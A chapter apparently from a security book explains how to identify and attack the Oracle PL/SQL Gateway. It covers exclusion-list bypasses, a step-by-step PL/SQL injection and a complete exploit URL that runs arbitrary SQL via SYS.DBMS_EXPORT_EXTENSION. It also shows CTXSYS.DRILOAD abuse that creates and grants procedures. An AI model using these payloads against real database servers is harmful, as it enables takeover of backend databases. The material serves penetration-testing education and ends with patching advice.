The Oracle PL/SQL Gateway provides the capability to execute PL/SQL procedures in an Oracle database server via the web. It provides a gateway, a seamless path from the Internet, into a backend Oracle database server over the web. When a user connects with a web browser to a web server running the Oracle PL/SQL Gateway, the Gateway simply proxies the user's request to the database server where it is executed. The Oracle PL/SQL Gateway is built into Oracle Portal, Oracle Application, Server, and the Oracle HTTP Server, as shown in Figure 9-1.
Figure 9-1: The Oracle PL/SQL Gateway
When performing any kind of security assessment, it's important to know what technology you're actually dealing with. To that end, this section briefly examines how to recognize Oracle Portal when you come across it.
URLs for PL/SQL web applications are normally easily recognizable and generally start with the following (xyz can be any string and represents a Database Access Descriptor, which you will learn more about later):
http://server.example.com/pls/xyz http://server.example.com/xyz/owa http://server.example.com/xyz/plsql
While the second and third of these examples represent URLs from older versions of the PL/SQL Gateway, the first is from more recent versions running on Apache. In the plsql.conf Apache configuration file, /pls is the default, specified as a Location with the PLS module as the handler. The Location need not be /pls, however. The absence of a file extension in a URL could indicate the presence of the Oracle PL/SQL Gateway. Consider the following URL:
If xxxxx.yyyyy were replaced with something along the lines of "ebank.home," "store.welcome," "auth.login," or "books.search," then there's a fairly strong chance that the PL/SQL Gateway is being used. You can perform a few simple tests to verify this, but before looking at these let's fully explore the URL syntax:
In this URL, xyz is the Database Access Descriptor, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, authentication methods, and so on. These DADs are specified in the dads.conf Apache configuration file in more recent versions or the wdbsvr.app file in older versions. Some default DADs include the following:
ORASSO PORTAL SIMPLEDAD SSODAD
The pkg in the URL shown above is the name of a PL/SQL package stored in the backend database server, and proc is a procedure exported by the package. The best way to think of a PL/SQL package is as a program that lives in an Oracle database server, with each procedure exposing a bit of functionality that can be called. For example, you could write a Calculator PL/SQL package. The package would be called CALC and it would have procedures call ADD, SUBTRACT, DIVIDE, and MULTIPLY. You could then execute these procedures via the PL/SQL Gateway:
The source for the CALC package is as follows:
-- CALC PL/SQL Package -- create the package specification CREATE OR REPLACE PACKAGE CALC IS PROCEDURE ADD(X NUMBER, Y NUMBER); PROCEDURE SUBTRACT(X NUMBER, Y NUMBER); PROCEDURE DIVIDE(X NUMBER, Y NUMBER); PROCEDURE MULTIPLY(X NUMBER, Y NUMBER); END CALC; / -- create package's body CREATE OR REPLACE PACKAGE BODY CALC IS PROCEDURE ADD(X NUMBER, Y NUMBER) IS BEGIN HTP.PRINT(X + Y); END ADD; PROCEDURE SUBTRACT(X NUMBER, Y NUMBER) IS BEGIN HTP.PRINT(X - Y); END SUBTRACT; PROCEDURE DIVIDE(X NUMBER, Y NUMBER) IS BEGIN HTP.PRINT(X / Y); END DIVIDE; PROCEDURE MULTIPLY(X NUMBER, Y NUMBER) IS BEGIN HTP.PRINT(X * Y); END MULTIPLY; END CALC; / GRANT EXECUTE ON CALC TO PUBLIC;
This brings up an interesting point: With the CALC package possibly existing in any one of many schemas, how does Gateway "know" where to look? The username specified in the DAD usually indicates the schema, but remember from the chapter opener that Gateway is just that: a gateway into the database. If we specify a different schema, we can get access to other packages. Assuming for a moment that SCOTT created the CALC package, we could gain access to it - even if the schema specified in the DAD were FOO:
This is one of the key weaknesses of the Oracle PL/SQL Gateway.
The Oracle Portal application is built upon the Oracle PL/SQL Gateway. If you see a URL similar to
then the server is running the Gateway. Converting a Portal URL like the preceding one to a Gateway URL requires you to take the dad parameter and append it to /pls:
We'll get to null in a minute. Having explained the URL syntax, let's look at some simple ways of confirming whether the PL/SQL Gateway is running.
Sometimes it might not be apparent that an application is using the Oracle PL/SQL Gateway. This section describes some methods you can use to test that.
By getting the HTTP Server response header, you can often tell whether the PL/SQL Gateway is present. Here are some valid responses that you might see:
Oracle-Application-Server-10g Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server Oracle-Application-Server-10g/18.104.22.168.0 Oracle-HTTP-Server Oracle-Application-Server-10g OracleAS-Web-Cache-10g/22.214.171.124.0 (N) Oracle-Application-Server-10g/126.96.36.199.0 Oracle HTTP Server Powered by Apache Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/188.8.131.52.3a Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/184.108.40.206.3d Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/220.127.116.11.5e Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/18.104.22.168.5e Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/22.214.171.124.3c Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/126.96.36.199.3b Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/188.8.131.52.0 Oracle_Web_Listener/184.108.40.206.0EnterpriseEdition Oracle_Web_Listener/220.127.116.11EnterpriseEdition Oracle_Web_Listener/18.104.22.168.0EnterpriseEdition Oracle_Web_listener22.214.171.124.0/2.14FC1 Oracle9iAS/9.0.2 Oracle HTTP Server Oracle9iAS/126.96.36.199 Oracle HTTP Server
These were taken from servers discovered on Google by searching for "inurl:plsql oracle" and "inurl:owa oracle".
NULL Test and Others
If you're not sure whether an application is using the Oracle PL/SQL Gateway, you can perform a few quick tests for that information. If the application is using the Gateway, then setting the procedure to NULL should cause the web server to return an empty 200 response:
This happens because NULL, in PL/SQL, is equivalent to no-operation; if you get a 200 response with an empty body, you can infer that the no-operation successfully completed.
In later versions of the Gateway, requesting OWA_UTIL.SIGNATURE as the procedure should result in a 403 Forbidden response:
Here, we get a forbidden response because there is a security risk with this procedure and Oracle Portal prevents access to it by default. If you're dealing with an early version of Oracle Portal, whereby access can be gained to OWA_UTIL, then you should get a response similar to
"This page was produced by the PL/SQL Web Toolkit on date"
"This page was produced by the PL/SQL Cartridge on date"
Using a standard client such as SQL*Plus, a normal user can execute PL/SQL procedures as follows:
SQL> exec package.procedure('foo');
Alternatively, a user could execute the procedure in an anonymous PL/SQL block as follows:
SQL> declare buff varchar2(20):='foo'; begin package.procedure(buff); end; /
The PL/SQL Gateway essentially does the same thing. It takes the name of the package and procedure requested by the user and embeds it within an anonymous block of PL/SQL, sending it over to the database server for execution. Over time, the exact content of the anonymous PL/SQL block changes, but if we requested http://server/pls/dad/foo.bar?xyz=123 today, it would look like this:
1 declare 2 rc__ number; 3 start_time__ binary_integer; 4 simple_list__ owa_util.vc_arr; 5 complex_list__ owa_util.vc_arr; 6 begin 7 start_time__ := dbms_utility.get_time; 8 owa.init_cgi_env(:n__,:nm__,:v__); 9 htp.HTBUF_LEN := 255; 10 null; 11 null; 12 simple_list__(1) := 'sys.%'; 13 simple_list__(2) := 'dbms\_%'; 14 simple_list__(3) := 'utl\_%'; 15 simple_list__(4) := 'owa\_%'; 16 simple_list__(5) := 'owa.%'; 17 simple_list__(6) := 'htp.%'; 18 simple_list__(7) := 'htf.%'; 19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then 20 rc__ := 2; 21 else 22 null; 23 orasso.wpg_session.init(); 24 foo.bar(XYZ=>:XYZ); 25 if (wpg_docload.is_file_download) then 26 rc__ := 1; 27 wpg_docload.get_download_file(:doc_info); 28 orasso.wpg_session.deinit(); 29 null; 30 null; 31 commit; 32 else 33 rc__ := 0; 34 orasso.wpg_session.deinit(); 35 null; 36 null; 37 commit; 38 owa.get_page(:data__,:ndata__); 39 end if; 40 end if; 41 :rc__ := rc__; 42 :db_proc_time__ := dbms_utility.get_time - start_time__; 43 end;
The key lines to note are 19 and 24. On line 19 the user's request is checked against a list of known "bad" strings. This forms part of the PL/SQL exclusion list, which you will learn more about later. If the user's requested package and procedure do not contain bad strings, then the procedure is executed on line 24. The XYZ parameter is passed as a bind variable. Later you'll learn how to manipulate your request so that you can embed arbitrary PL/SQL in this anonymous block - thus gaining full control over the backend database server on which it executes.
This section looks at ways of attacking the PL/SQL Gateway. The manner in which this is done depends on the patch level. It makes for interesting reading and provides an insight into Oracle's approach to patching security flaws.
Earlier you saw how it is possible to gain access to any procedure (depending on permissions) by specifying the schema in which the package exists. This presents a clear security risk. To thwart this risk, Oracle introduced a PLSQLExclusionList. This list initially contained a number of known bad strings that might appear in a request made by an attacker. The list contains the following entries:
OWA* SYS.* DBMS_* HTP.* HTF.* UTL_*
Because there are known attacks for each of these, Oracle wanted to prevent access to packages that had names matching these criteria. Over the past five years several bugs have allowed attackers to bypass the PL/SQL exclusion list and gain access to these packages. For example, consider the OWA_UTIL package owned by SYS. This package contains a procedure called CELLSPRINT that enables an attacker to run arbitrary SELECT queries. In a server that doesn't have the exclusion list, a query could be executed as follows:
Once the exclusion list was added, direct attempts to access this package would result in a "403 Forbidden" response. However, this first patch could be bypassed trivially by placing a newline character before the package:
Oracle patched this but the next patch could also be defeated. This time the problem was due to the backend database server treating the hex byte 0xFF as a Y, whereas the Gateway does not. Therefore, by requesting
an attacker could once again access the package - the %FF is converted to a Y by the database, making the schema name SYS. This problem was caused due to internationalization features.
The patch for this could be defeated by enclosing the name of the schema in double quotes:
http://server.example.com/pls/dad/" SYS".owa_util.cellsprint?p_thequery= select+1+from+dual
This broke the pattern matching. However, this didn't work on the 10g Application Server because this version of the PL/SQL Gateway converted any uppercase characters to lowercase, making a request to "SYS" as "sys". Thus, Oracle would fail to find the package because quoted identifiers are case-sensitive. However, the 10g Application Server could be defeated by inserting a goto label before the package name:
The next patch could be defeated by inserting arbitrary SQL elements in various areas.
If a user requests
the following PL/SQL is executed:
1 declare 2 rc__ number; 3 start_time__ binary_integer; 4 simple_list__ owa_util.vc_arr; 5 complex_list__ owa_util.vc_arr; 6 begin 7 start_time__ := dbms_utility.get_time; 8 owa.init_cgi_env(:n__,:nm__,:v__); 9 htp.HTBUF_LEN := 255; 10 null; 11 null; 12 simple_list__(1) := 'sys.%'; 13 simple_list__(2) := 'dbms\_%'; 14 simple_list__(3) := 'utl\_%'; 15 simple_list__(4) := 'owa\_%'; 16 simple_list__(5) := 'owa.%'; 17 simple_list__(6) := 'htp.%'; 18 simple_list__(7) := 'htf.%'; 19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then 20 rc__ := 2; 21 else 22 null; 23 orasso.wpg_session.init(); 24 foo.bar; 25 if (wpg_docload.is_file_download) then 26 rc__ := 1; 27 wpg_docload.get_download_file(:doc_info); 28 orasso.wpg_session.deinit(); 29 null; 30 null; 31 commit; 32 else 33 rc__ := 0; 34 orasso.wpg_session.deinit(); 35 null; 36 null; 37 commit; 38 owa.get_page(:data__,:ndata__); 39 end if; 40 end if; 41 :rc__ := rc__; 42 :db_proc_time__ := dbms_utility.get_time - start_time__; 43 end;
Note that on line 19, a check on the requested package and procedure name, FOO.BAR, is made against a list of known "bad" values likely to derive from an attack. As well as check for strings in the simple list, it checks for special characters, too.
If a user then requests
the following PL/SQL is executed:
.. 18 simple_list__(7) := 'htf.%'; 19 if ((owa_match.match_pattern('inject'point', simple_list__, complex_list__, true))) then 20 rc__ := 2; 21 else 22 null; 23 orasso.wpg_session.init(); 24 inject'point; ..
An error is generated in the error log: "PLS-00103: Encountered the symbol ‘POINT' when expecting one of the following…" This is due to a SQL injection problem. To compromise a server, an attacker only needs to build and inject a specific query.
There are a few hurdles to overcome. First, they're limited to three blocks of 30 characters separated by a period - like so:
Second, anything they inject can also be found on line 24 - and as they've had to break out with a single quote, the SQL will be imbalanced on this line. They can resolve this by making the first two bytes of their inject string a double minus.
If they now request
then this gives them
if ((owa_match.match_pattern('--'', simple_list__, complex_list__, true))) then
on line 19 and
on line 24.
Now they need to close the brackets:
This gives them
if ((owa_match.match_pattern('--')))', simple_list__, complex_list__,true))) then
on line 19 and
on line 24.
Once this is done they finish the IF with a THEN:
This makes line 19
if ((owa_match.match_pattern('--'))) then rc__:=2', simple_list__, complex_list__, true))) then
and line 24
--'))) then rc__:=2;
Now they can close with a semicolon and another double minus:
This makes line 19…
if ((owa_match.match_pattern('--'))) then rc__:=2;--', simple_list__,complex_list__, true))) then
and line 24…
--'))) then rc__:=2;--;
This returns a "403 Forbidden" response - exactly what is expected at this stage. It's returning forbidden because OWA_MATCH will return true due to the inject string starting with a double minus. However, that's irrelevant because an attacker can inject a procedure between this last semicolon and the last double minus, ensuring they end their injected procedure with a semicolon:
By placing arbitrary SQL where XXXXXXXX is, an attacker can cause it to execute. Due to the limitations mentioned earlier, an attack can prove difficult (but not impossible), and an easier method exists.
First, the attacker needs to find a PL/SQL procedure that takes no parameters, as shown in this example:
JAVA_AUTONOMOUS_TRANSACTION.PUSH XMLGEN.USELOWERCASETAGNAMES PORTAL.WWV_HTP.CENTERCLOSE ORASSO.HOME WWC_VERSION.GET_HTTP_DATABASE_INFO
If the attacker requests
the server should return a "404 File Not Found" response because the orasso.home procedure does not require parameters and one has been supplied. However, before the 404 is returned, the following PL/SQL is executed:
.. .. if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then rc__ := 2; else null; orasso.wpg_session.init(); orasso.home(FOO=>:FOO); .. ..
Note the presence of FOO in the attacker's query string. They can abuse this to run arbitrary SQL. First, they need to close the brackets:
This results in the following PL/SQL being executed:
Note that everything after the double minus (--) is treated as a comment.
This request will cause an internal server error because one of the bind variables is no longer used, so the attacker needs to add it back. As it happens, it's this bind variable that is the key to running arbitrary PL/SQL.
For the moment, they can just use HTP.PRINT to print BAR, and add the needed bind variable as :1:
This should return a 200 with the word "BAR" in the HTML. What's happening here is that everything after the equals sign - BAR in this case - is the data inserted into the bind variable.
Using the same technique it's possible to also gain access to owa_util again:
To execute arbitrary SQL, including DML and DDL statements, the attacker inserts an execute immediate :1:
Note that the output won't be displayed. This can be leveraged to exploit any PL/SQL injection bugs owned by SYS, thus enabling an attacker to gain complete control of the backend database server:
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1 ;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20 BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES ('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1); EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20PUBLIC%20SYNONYM%20BREAK ABLE%20FOR%20SYS.BREAKABLE'';END;--','SYS',1,'VER',0);END;
As of November 25, 2005, this flaw remains unpatched and exploitable. It is assumed that this will be patched in the next Critical Patch Update:
Of course, it might be unnecessary to bypass the PL/SQL exclusion list. For example, in Oracle 9x database servers, the CTXSYS user is a DBA, and many of the PL/SQL packages owned by CTXSYS are vulnerable to SQL injection - for example, the DRILOAD package. This package has a procedure - namely, VALIDATE_STMT - that basically takes a user-supplied query and executes it. This can be abused over the web. One thing to note here is that non-select SQL requests may seem like they're not working. This is because when you call the VALIDATE_STMT procedure, if you're not doing a select, the procedure returns the following:
ERROR at line 1: ORA-06510: PL/SQL: unhandled user-defined exception ORA-06512: at "CTXSYS.DRILOAD", line 42 ORA-01003: no statement parsed ORA-06512: at line 1
This is sent back to the web server, so the web server returns a "404 file not found" response. To test whether access can be gained, requesting
should return an empty HTML page with a 200 response. If so, then the following should also work:
This should return a 404 but it creates a package called WEBTEST in the CTXSYS schema.
grants PUBLIC the execute permission on the WEBTEST procedure, and requesting
returns "hello". What has happened here? Our first request creates a procedure called WEBTEST that uses HTP.PRINT to write out "hello". This procedure is created and owned by CTXSYS. The second requests grants PUBLIC the execute permission on the WEBTEST procedure. Finally, we can call it - the last request. It should be obvious from this just how dangerous this whole attack and vulnerability can be.
This chapter has demonstrated how Oracle Application Server can be a gateway into breaking into an Oracle backend. Attacks like this go through the firewall and can be launched by attackers from the Internet. It is critical that patches are kept up-to-date with such exposed servers.